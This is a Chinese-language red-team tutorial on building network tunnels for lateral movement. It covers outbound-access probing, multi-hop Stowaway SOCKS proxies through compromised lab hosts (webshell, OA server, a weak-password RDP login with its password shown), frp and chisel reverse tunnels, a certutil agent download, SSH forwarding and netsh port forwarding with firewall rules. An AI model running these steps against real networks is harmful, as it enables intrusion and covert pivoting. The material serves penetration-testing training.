建立隧道⚒️
建立隧道目的是为了后面内网横向移动提前准备好的网络通道,方便从互联网访问到内网资源。
建立隧道前先要进行出网探测,确认当前网络能不能连通外网,哪些能协议能出?当前主机出站流量能够访问哪些端口?是不是只允许连接目标 IP 或者指定端口?不然后续操作很不方便。
这里介绍三种网络情况:
1.情况一
目标机器能出网也有公网地址,直接在目标机器上开 Socks5 正向连接。
2.情况二
拿下的目标机器没有公网 IP,可能处在反向代理后面的内网集群,但也能访问内网和互联网,此时可以让目标反连 VPS,我们通过 VPS 访问目标内部网络。
3.情况三
通过 Web 漏洞打下的是反向代理后面机器,通过反向代理连接,只能访问内网,不能访问互联网(不出网),只能走 HTTP 协议,那么可以尝试搭建 HTTP Tunnel(原理本地脚本开启 SOCKS,所有流量转发到 WebShell 后, WebShell 再使用 SOCKS 服务端将流量转发到内网),Red Team Operator -> Reverse Proxy -> Web App(HTTP Tunnel) -> Internal NetWork。
只访问某个端口可以用 Neo-reGeorg 搭建 HTTP 隧道做端口转发,很稳定。
以上情况只要能通信,代理正连反连都可以。
具体怎么探测可以使用下面方法:
1.DNS
使用 vps-ip 作为 DNS 服务器解析 www.baidu.com 域名,在服务器端只要监听 53 端口看能不能收到流量 nc -u -lvp 53
。
dig @vps-ip www.baidu.com
nslookup www.baidu.com vps-ip
2.ICMP
vps-ip 抓 icmp 流量 tcpdump icmp
。
ping vps-ip
PowerShell 中 Test-NetConnection 也可以。
PS C:\Users\gbb># ICMP 测试
PS C:\Users\gbb>Test-NetConnection-ComputerName13.107.4.52
ComputerName:13.107.4.52
RemoteAddress:13.107.4.52
InterfaceAlias: WLAN
SourceAddress:172.20.10.2
PingSucceeded:True
PingReplyDetails(RTT):186 ms
3.TCP
测试 TCP 连接可以用 PowerShell 中 TcpClient。第一个参数填 Host,第二个参数是端口。
PS E:\desktop> (New-Object System.Net.Sockets.TcpClient("www.raingray.com", "443")).Connected
True
或者上传 nc 到服务器上,反连 vps-ip 端口看能不能连接成功 nc -lvp port
。
nc vps-ip port
4.HTTP
curl -I http://www.domain.com
wget -qSO /dev/null http://domain.com
wget -qSO- http://www.domain.com
当前机器不出网很可能当前网段机器都是不出网的,可以找其他网段机器拿下尝试。
介绍隧道概念:传输隧道按层划分:应用层啊,传输层啊。HTTP,TCP,DNS,SSH,SOCKS,SOCKS5,ICMP。隧道原理是什么
根端口转发做出对比:什么时候选端口转发或隧道?它俩优劣势是什么。最好拿前面 SSH 动态端口转发小节做例子。
最后谈谈实战中拿下边界服务器内网横向渗透时多层代理如何玩儿,不同网段怎么通信,是使用正向还是反向。
大内网怎么扫主机:找网关,确认网段。ping 确定存活主机,如果机器之间禁 icmp 如何探测。
隧道特征:
• http 隧道,新增文件
• icmp 隧道数据大小比正常的大。
• dns 隧道,与内部已有的 dns 主机不同,大量 dns 查询。
3.1.1 SOCKS
客户端软件:
• Windows:Proxifier
• Linux:proxychanis
Stowaway
1.反向连接
服务端开启监听
.\windows_x64_admin.exe -s test -proxyp asdf -proxyu proxy -l 8888
客户端主动连接服务端
root@ubuntu:/home/web/Desktop# ./linux_x64_agent -c 172.20.10.2:8888 -s test
要注意客户端连接服务端 8888 端口后,其他客户端无法再使用此端口。
2.正向连接
客户端开启监听
C:\>windows_x64_agent.exe -l 10000 -s test
服务端主动连接客户端
.\windows_x64_admin.exe -c 127.0.0.1:10000 -s test
3.多级代理连接
一般情况下第一层代理,很可能因为网络防火墙入站规则限制较严格,会使用反向链接。拿到一个连接后,会生成一个节点。
节点内正向连接,客户端开启监听
C:\>windows_x64_agent.exe -l 10000 -s test
进入节点主动连接客户端
(admin) >> use 0
(node 0) >> connect 192.168.52.30:10000
节点内反向连接,或者节点开启端口监听。
(node 1) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 192.168.93.20:20001
[*] Waiting for response......
[*] Node is listening on 192.168.93.20:20001
(node 1) >>
[*] New node come! Node id is 2
客户端连接到节点。
C:\>windows_x64_agent.exe -c 192.168.93.20:20001 -s test
Stowaway 缺点:实战环境中拿下目标机器后,想用它做服务端,可惜没有 screen、tmux 这种终端管理工具的情况下不能在后台运行,很不方便。
这里使用【启元】ATT&CK红队七WHOAMI Penetration进行多层代理专项训练。
由于 DMZ 主机 IP1 是桥接宿主机,IP 根据每台机器 DHCP 动态获取会有不同,以实际为准。
建立第一层隧道
拿下 DMZ 区域 Ubuntu 主机,Shell 地址 http://172.20.10.3:81/backdoor.php,它的 Web 应用流量是反向代理到内网第二层网络,并且还是多网卡机器,因此能够访问第二层网络。
VPS 服务端开启 Socks 监听 8888,等待连接。-s 使用加密密钥 test 传输数据。
PS E:\Desktop\Stowaway>.\windows_x64_admin.exe -s test -proxyp asdf -proxyu proxy -l 8888
[*]Starting admin node on port 8888
.-') .-') _ ('\ .-')/' ('-.('\ .-')/' ('-.
( OO ).( OO))'.( OO ),'( OO ).-.'.( OO ),'( OO ).-.
(_)---\_)/'._ .-'),-----.,--./.--./.--./,--./.--./.--./,--.,--.
/ _ ||'--...__)( OO'.-.'| | | | \-. \ | | | | \-. \ \ '.' /
\ :''. '--..--'/ | | | || | | |,.-'-' | || | | |,.-'-' | | .-')/
'..'''.)|| \_)||\| |||.'.| |_)\| |_.'|||.'.| |_)\| |_.'|(OO \ /
.-._) \ || \ |||||||.-.||||.-.||/ /\_
\ /||'''-''| ,'.||||||,'. | | | | | '-.//.__)
'-----''--''-----''--''--''--''--''--''--''--''--''--'
{ v2.1Author:ph4ntom }
[*]Waitingfornew connection...
上传 agent,-c 反连 VPS 172.20.10.2:8888,--reconnect 断线后 10 重连一次。
root@ubuntu:/home/web/# ./linux_x64_agent -c 172.20.10.2:8888 -s test
2023/03/13 00:54:48 [*] Starting agent node actively.Connecting to 172.20.10.2:8888
agent 与 VPS admin 端连接成功。
PS E:\Desktop\Stowaway>.\windows_x64_admin.exe -s test -l 8888
[*]Starting admin node on port 8888
.-') .-') _ ('\ .-')/' ('-.('\ .-')/' ('-.
( OO ).( OO))'.( OO ),'( OO ).-.'.( OO ),'( OO ).-.
(_)---\_)/'._ .-'),-----.,--./.--./.--./,--./.--./.--./,--.,--.
/ _ ||'--...__)( OO'.-.'| | | | \-. \ | | | | \-. \ \ '.' /
\ :''. '--..--'/ | | | || | | |,.-'-' | || | | |,.-'-' | | .-')/
'..'''.)|| \_)||\| |||.'.| |_)\| |_.'|||.'.| |_)\| |_.'|(OO \ /
.-._) \ || \ |||||||.-.||||.-.||/ /\_
\ /||'''-''| ,'.||||||,'. | | | | | '-.//.__)
'-----''--''-----''--''--''--''--''--''--''--''--''--'
{ v2.1Author:ph4ntom }
[*]Waitingfornew connection...
[*]Connectionfrom node 172.20.10.3:58946isset up successfully!Node id is0
(admin)>> detail
Node[0]-> IP:172.20.10.3:58946Hostname: ubuntu User: root
Memo:
(admin)>>
给 node 0 做个注释信息,方便其他同事了解此节点信息。
(node 0)>> addmemo "DMZ 边界机"
[*]Memo added!
(node 0)>> back
(admin)>> detail
Node[0]-> IP:172.20.10.3:58946Hostname: ubuntu User: root
Memo:"DMZ 边界机"
(admin)>>
进入节点,在 VPS 端开启 Socks 端口,用户名 proxy,密码 proxys。后续 VPS 通过此端口就可以连到 node 0(DMZ 区)网络。
(admin) >> use 0
(node 0) >> socks 9000 proxy proxys
[*] Trying to listen on 0.0.0.0:9000......
[*] Waiting for agent's response......
[*] Socks start successfully!
VPS 确实开启 9000,由 admin 端开启的端口。
PS C:\Users\gbb> netstat -ano -p tcp | findstr 9000
TCP 0.0.0.0:9000 0.0.0.0:0 LISTENING 22064
PS C:\Users\gbb> tasklist | findstr 22064
windows_x64_admin.exe 22064 Console 1 11,692 K
Proxyfier 设置代理服务器,成功连接。
Profile -> Proxyification Rules -> Add 添加规则,允许 edge 浏览器访问走代理。
通过扫描发现第二层网络内网 OA。
此时访问 OA 整个流量走向是:
Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9000) -> VPS admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>)
建立第二层隧道
通过 DMZ 拿下第二层网络通达 OA Shell。
systeminfo 确认类型为 64,上传 64 agent。
由于没有防火墙限制,这回不再像第一层代理 DMZ 主机一样去反连接,尝试选择 agent 自己开放端口 0.0.0.0:10000,让 DMZ 主动连接(正向连接)。
C:\>./windows_x64_agent -l 10000 -s test
2023/03/13 16:25:54 [*] Starting agent node passively.Now listening on port 10000
DMZ 主机成功连接 OA 服务器,自动取名 Node 1 成为 Node 0 子节点。
(node 0)>> connect 192.168.52.30:10000
[*]Waitingfor response......
[*]New node come!Node id is1
(node 0)>> back
(admin)>> topo
Node[0]'s children ->
Node[1]
Node[1]'s children ->
(admin)>> detail
Node[0]-> IP:172.20.10.3:58954Hostname: ubuntu User: root
Memo:"DMZ 边界机"
Node[1]-> IP:192.168.52.30:10000Hostname: PC1 User: whoamianony\bunny
Memo:
(admin) >>
继续做备注方便后续回顾。
(admin)>>use1
(node 1)>> addmemo "通达 OA"
[*]Memo added!
(node 1)>> back
(admin)>> detail
Node[0]-> IP:172.20.10.3:58954Hostname: ubuntu User: root
Memo:"DMZ 边界机"
Node[1]-> IP:192.168.52.30:10000Hostname: PC1 User: whoamianony\bunny
Memo:"通达 OA"
(admin) >>
继续在 VPS 开启 Socks 端口 9001,方便通过 VPS 连接到 OA 网络内。
(node 1) >> socks 9001 proxy proxys
[*] Trying to listen on 0.0.0.0:9001......
[*] Waiting for agent's response......
[*] Socks start successfully!
(node 1) >>
现在访问 9001 流量走向是:
Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9001) -> VPS Admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>) -> 第二层网络-通达 OA(192.168.52.30:10000)
建立第三层隧道
通过搜集信息发现,第二层网络-通达 OA 也是双网卡机器,能通信第三层网络。通过扫描第三层网络主机,发现域内单机 192.168.93.40 开放 RDP,使用弱口令成功登录。
WHOAMIANONY\moretz
Moretz2021
经过测试不出网,选择将 agent 放在第二层网络-通达 OA 服务器上访问去下载。
certutil -urlcache -split -f http://192.168.52.30:8080/windows_x64_agent.exe
在节点 Note 1(通达 OA)上开启监听端口 192.168.93.20:20001。
(node 1) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 192.168.93.20:20001
[*] Waiting for response......
[*] Node is listening on 192.168.93.20:20001
(node 1) >>
域内单机反向连接到 Note 1(第二层网络-通达 OA)。
C:\Users\moretz.WHOAMIANONY\Desktop>windows_x64_agent.exe -c 192.168.93.20:20001 -s test
2023/03/13 18:21:18 [*] Starting agent node actively.Connecting to 192.168.93.20:20001
OA 节点主动显示新节点 Note 2 连接,成为 Note 1 子节点。
(node 1)>>
[*]New node come!Node id is2
(node 1)>> back
(node 2)>> addmemo "域内单机"
[*]Memo added!
(admin)>> detail
Node[0]-> IP:172.20.10.3:58954Hostname: ubuntu User: root
Memo:"DMZ 边界机"
Node[1]-> IP:192.168.52.30:10000Hostname: PC1 User: whoamianony\bunny
Memo:"通达 OA"
Node[2]-> IP:192.168.93.40:4435Hostname: PC2 User: whoamianony\moretz
Memo:"域内单机"
(admin)>> topo
Node[0]'s children ->
Node[1]
Node[1]'s children ->
Node[2]
Node[2]'s children ->
(admin) >>
在 Socks 开启端口,直通第三层网络。
(admin) >> use 2
(node 2) >> socks 9002 proxy proxys
[*] Trying to listen on 0.0.0.0:9002......
[*] Waiting for agent's response......
[*] Socks start successfully!
现在访问 9002 流量走向是:
Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9002) -> VPS Admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>) -> 通达 OA(192.168.52.30:20001) -> 域内单机(192.168.93.40:<randomPort>)
rakshasa⚒️
https://github.com/Mob2003/rakshasa
venom⚒️
https://github.com/Dliv3/Venom
frp⚒️
目标通网,可以使用 frp 连到内网。
frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
kcp_bind_port = 7000
token = 18xujk38
tcp_mux = true
log_file = ./frps.log
log_level = info
log_max_days = 3
frpc.ini
[common]
server_addr =106.2.120.110
server_port =7000
protocol = kcp
token =18xujk38
[plugin_socks5]
type = tcp
local_port =8084
remote_port =29017
plugin = socks5
use_encryption =true
use_compression = true
frp 内网穿透,配合 vps 使用,效果还不错。在反弹 Shell 时一直有个问题,在没有公网 vps 中转流量如何反弹 Shell 到本机?
拿到管理员权限后可以用 Proxifer 来代理本机软件,通过 frp 开 socket 连接到目标内网。
最好将 FRP 流量特征改掉,启用 TLS,将配置硬编码到程序里,其他只留部分作为命令行参数,比如 ip 端口。
chisel
VPS 监听端口
chisel server -p <Port> --reverse
客户端连接
chisel client <VPS-IP>:<Port> R:socks
nps
3.1.2 VPN
使用目标自带的 VPN 会更加隐蔽。
PPTP OpenVPN IPSEC
3.1.3 HTTP⚒️
Neo-reGeorg
suo5
说比 frp 快。缺点是只能在 jsp 环境下使用。
3.1.4 WebSocket
3.1.5 ICMP
icmptunnel
3.1.6 DNS
Chashell
3.1.7 SSH
借由 SSH 学习端口转发概念,后面其他工具只是使用方式不同,原理类似。
本地端口转发
本地端口转发能够解决的问题是,想要访问远程机器本地监听(不对外开放)的某个服务,或者是要访问远程机器内网其他主机的服务,以后只要访问本地端口就能访问到对应远程机器服务。
就可以用 SSH 在本地开启监听端口并指定一个你要访问的 IP:Port,,登录到远程机器,
使用 SSH 将本地 8888 端口流量通过 root@www.raingray.com 主机转发到 www.raingray.com:443。要注意的是做转发的机器(root@www.raingray.com)一定能与目标机器通信(www.raingray.com:443)才能成功。
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -N -L 8888:www.raingray.com:443 root@www.raingray.com
root@www.raingray.com's password:
-L 选项是本地端口转发核心选项,语法是 -L [bind_address:]port:host:hostport
,不加
bind_address 默认是监听 127.0.0.1。-N 是不使用 Shell 就不给,不加上就会把 SSH 登录后的 Shell
展示出来方便你执行命令用。还有个选项是 -f,在命令中没使用到,它的作用是把连接放到后台运行避免前台占着无法使用 Shell 输入命令。
本机已经建立 SSH 链接。
┌──(kali㉿kali)-[~/Desktop]
└─$ ss -napt4
StateRecv-Q Send-Q LocalAddress:PortPeerAddress:PortProcess
LISTEN 0128127.0.0.1:88880.0.0.0:* users:(("ssh",pid=6694,fd=5))
ESTAB 00192.168.136.129:5857681.70.14.219:22 users:(("ssh",pid=6694,fd=3))
服务器上也有对应链接。
[root@VM-24-2-centos ~]# ss -pant | grep ssh
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=2200733,fd=4))
ESTAB 0 0 10.0.24.2:22 111.194.220.217:7369 users:(("sshd",pid=1332042,fd=5),("sshd",pid=1332028,fd=5))
LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=2200733,fd=5))
请求本地 127.0.0.1:8888,发现本地端口流量转发到 www.raingray.com 内。
┌──(kali㉿kali)-[~/Desktop]
└─$ curl https://127.0.0.1:8888 --insecure -s | egrep "<title>.*</title>"
<title>raingray Blog</title>
远程端口转发
假设主机上 127.0.0.1:9999 开启 Web 服务器,想在在公网服务器上访问此服务,这就可以用上远程端口转发,将 127.0.0.1:9999 转发到远程公网服务器上某个端口上。
在本机使用 SSH 连接到 root@www.raingray.com 主机上,使用 -R 选项启用远程转发,将本机 127.0.0.1:9999 端口转发到目标机 www.raingray.com 的 8080 端口上(无需担心这个 8080 端口没开启,SSH 自动开启监听)。
ssh -N -R 8080:127.0.0.1:9999 root@www.raingray.com
登到目标机 www.raingray.com 可以看到 127.0.0.1:8080 监听端口。
[root@VM-24-2-centos ~]# ss -pant | grep 8080
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:* users:(("sshd",pid=1367194,fd=14))
LISTEN 0 128 [::1]:8080 [::]:* users:(("sshd",pid=1367194,fd=13))
在目标机内访问 127.0.0.1:8080,流量成功转发到本机 127.0.0.1:9999 Web 服务器。
[root@VM-24-2-centos ~]# curl -s -v 127.0.0.1:8080
*Rebuilt URL to:127.0.0.1:8080/
*Trying127.0.0.1...
* TCP_NODELAY set
*Connected to 127.0.0.1(127.0.0.1) port 8080(#0)
> GET / HTTP/1.1
>Host:127.0.0.1:8080
>User-Agent: curl/7.61.1
>Accept:*/*
>
< HTTP/1.1 200 OK
< Host: 127.0.0.1:8080
< Date: Fri, 17 Feb 2023 15:37:36 GMT
< Connection: close
< X-Powered-By: PHP/8.1.12
< Content-type: text/html; charset=UTF-8
<
test
* Closing connection 0
不知道你有没关注到目标机 www.raingray.com 的 8080 端口监听地址是 127.0.0.1,这是因为目标机 SSH 配置文件中 GatewayPorts 的取值。
GatewayPorts no
当它为默认值 no 时远程转发就监听 127.0.0.1,取值 yes 则监听 0.0.0.0。这个选项的作用就是让不让别人在公网访问此端口。
GatewayPorts 还有另一个取值是 clientspecified,可以自行指定要监听的 IP。
ssh -N -R 10.0.24.2:8080:127.0.0.1:9999 root@www.raingray.com
比如这里就主动指定监听地址为内网网卡 10.0.24.2,只能在内网里各个机器之间访问,相比 0.0.0.0 暴露在公网会安全不少。
动态端口转发
本地和远程端口转发,都是端口只能一对一,如想访问其他端口就得再次映射,动态端口解决了此问题,只需与目标机器建立 SSH 就能以此目标机器网络身份访问目标自身及其内网其他机器,它原理是在本地开启 Socks 服务端口,在通过 SSH 连接到目标机建立隧道。
ssh -N -D 0.0.0.0:7890 root@www.raingray.com
-D 开启动态转发,在本地 0.0.0.0:7890(需要注意 bind_address 留空则默认是监听到 0.0.0.0)建立个 Socks 服务(可以支持 4 和 5 版本,开启服务时具体 SSH 选择哪一个无法确认),SSH 连接到 root@www.raingray.com 后将所有本地 Socks 流量转入其中。
通过查看本机端口 7890 监听成功。
State Recv-Q Send-Q LocalAddress:PortPeerAddress:PortProcess
LISTEN 040960.0.0.0:99990.0.0.0:* users:(("php",pid=236011,fd=4))
LISTEN 01280.0.0.0:78900.0.0.0:* users:(("ssh",pid=238772,fd=4))
尝试使用 Nmap 对目标网络进行扫描。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo proxychains nmap --open -sV -sT -n -Pn127.0.0.1
[proxychains] config file found:/etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
StartingNmap7.93( https://nmap.org ) at 2023-02-17 22:28 EST
[proxychains]Strict chain ...0.0.0.0:7890...127.0.0.1:15660<--socket error or timeout!
[proxychains]Strict chain ...0.0.0.0:7890...127.0.0.1:8290<--socket error or timeout!
......
[proxychains]Strict chain ...0.0.0.0:7890...127.0.0.1:80... OK
[proxychains]Strict chain ...0.0.0.0:7890...127.0.0.1:80... OK
[proxychains]Strict chain ...0.0.0.0:7890...127.0.0.1:443... OK
Nmap scan report for127.0.0.1
Hostis up (0.0086s latency).
Not shown:994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH8.0(protocol 2.0)
80/tcp open http nginx
443/tcp open ssl/http nginx
3306/tcp open mysql MySQL5.5.5-10.6.7-MariaDB
8088/tcp open radan-http
9000/tcp open cslistener?
1 service unrecognized despite returning data.If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
......
SF:,POST\r\n\r\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.04 seconds
扫描时需要注意 Socks 协议不支持 ICMP、ARP、TCP SYN。
SOCKS works on layer 5 as we mentioned so don't expect things like ping, arp or the half-open reset that SYN scan does in Nmap, to work!
[https://erev0s.com/blog/ssh-local-remote-and-dynamic-port-forwarding-explain-it-i-am-five/#:~:text=SOCKS%20works%20on%20layer%205%20as%20we%20mentioned%20so%20don%27t%20expect%20things%20like%20ping%2C%20arp%20or%20the%20half%2Dopen%20reset%20that%20SYN%20scan%20does%20in%20Nmap%2C%20to%20work](https://erev0s.com/blog/ssh-local-remote-and-dynamic-port-forwarding-explain-it-i-am-five/#:~:text=SOCKS works on layer 5 as we mentioned so don't expect things like ping%2C arp or the half-open reset that SYN scan does in Nmap%2C to work)!
你也可以用通过目标机器网络去利用内网其他机器。这里仅仅 curl 验证下请求是目标机器发送的。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo proxychains curl -s http://myip.ipip.net/
[sudo] password for kali:
[proxychains] config file found:/etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains]Strict chain ...0.0.0.0:7890... myip.ipip.net:80... OK
当前 IP:81.70.14.219来自于:中国北京北京 电信
netsh
Windows 之间没有 SSH 可以使用 netsh 端口转发。如果可以传输文件也可上传第三方隧道软件 lcx、htran。
使用 netsh 第一个条件是需要你是管理员权限,普通用户无法使用(普通用户运行会提示 “请求的操作需要提升(作为管理员运行)。”)。第二个条件需要 IP Helper 服务和网卡 Internet Protocol Version 6 (TCP/IPv6) 开启。
可以 services.msc 去查看对应服务状态。
在网卡配置处查看 IPv6 开启状态(我这里 WLAN、以太网默认都是关闭,在 IPv4 To IPv4 转发实验中也没失败)。
假设我们目前已经拿下 192.168.0.101 Windos11 主机管理员权限,又发现内网 192.168.0.102 主机远程桌面开启,我们可以用 netsh 本地端口转发访问目标。
在 192.168.0.101:8888 设置端口转发到 192.168.0.102:3389。
C:\Users\gbb\Desktop>netsh interface portproxy add v4tov4 listenport=8888 listenaddress=192.168.0.101 connectport=3389 connectaddress=192.168.0.102
查看本地端口已经监听
PS C:\Users\gbb> netstat -p tcp -n -a | findstr 8888
TCP 192.168.0.101:8888 0.0.0.0:0 LISTENING
查看转发规则。
PS C:\Users\gbb> netsh interface portproxy show all
侦听 ipv4:连接到 ipv4:
地址端口地址端口
--------------------------------------------------
192.168.0.1018888192.168.0.1023389
PS C:\Users\gbb>
现在只要通过连接边界机 192.168.0.101:8888 就等同于连接到 192.168.0.102:3389。
此刻我们要通过内网另一个网段机器 192.168.0.104 访问 192.168.0.102:3389,发现网络不通,只能与 192.168.0.101 通信。那么可以直接连接 192.168.0.101:8888 端口达到此目的。
连到边界机机 192.168.0.101:8888 端口,很可能可能会被 Windows 防火墙给拦截,因为这台机器入站规则可能默认不允许连接到此端口,因此需要添加入站防火墙规则(需要管理员权限才能操作)。
添加这条名为 allow-rdp-port-access 防火墙规则,配置的是允许远程地址 192.168.1.104 进站流量访问本机 8888 端口。
netsh advfirewall firewall add rule name="allow-rdp-port-access" protocol=TCP dir=in remoteip=192.168.0.104 localport=8888 action=allow
通过 192.168.0.104 主机连接 192.168.0.101:8888 端口成功访问到 192.168.0.102:3389 端口。
下面了解如何删除转发规则(需要管理员权限操作)。
PS C:\Users\gbb> netsh interface portproxy show all
侦听 ipv4:连接到 ipv4:
地址端口地址端口
--------------------------------------------------
192.168.0.1018888192.168.0.1023389
PS C:\Users\gbb> netsh interface portproxy delete v4tov4 listenaddress=192.168.0.101 listenport=8888
PS C:\Users\gbb> netsh interface portproxy show all
也可以一次重置清空转发规则。
PS C:\Users\gbb> netsh interface portproxy show all
侦听 ipv4:连接到 ipv4:
地址端口地址端口
--------------------------------------------------
192.168.0.1018888192.168.0.1023389
PS C:\Users\gbb> netsh interface portproxy reset
PS C:\Users\gbb> netsh interface portproxy show all
来源:
raingray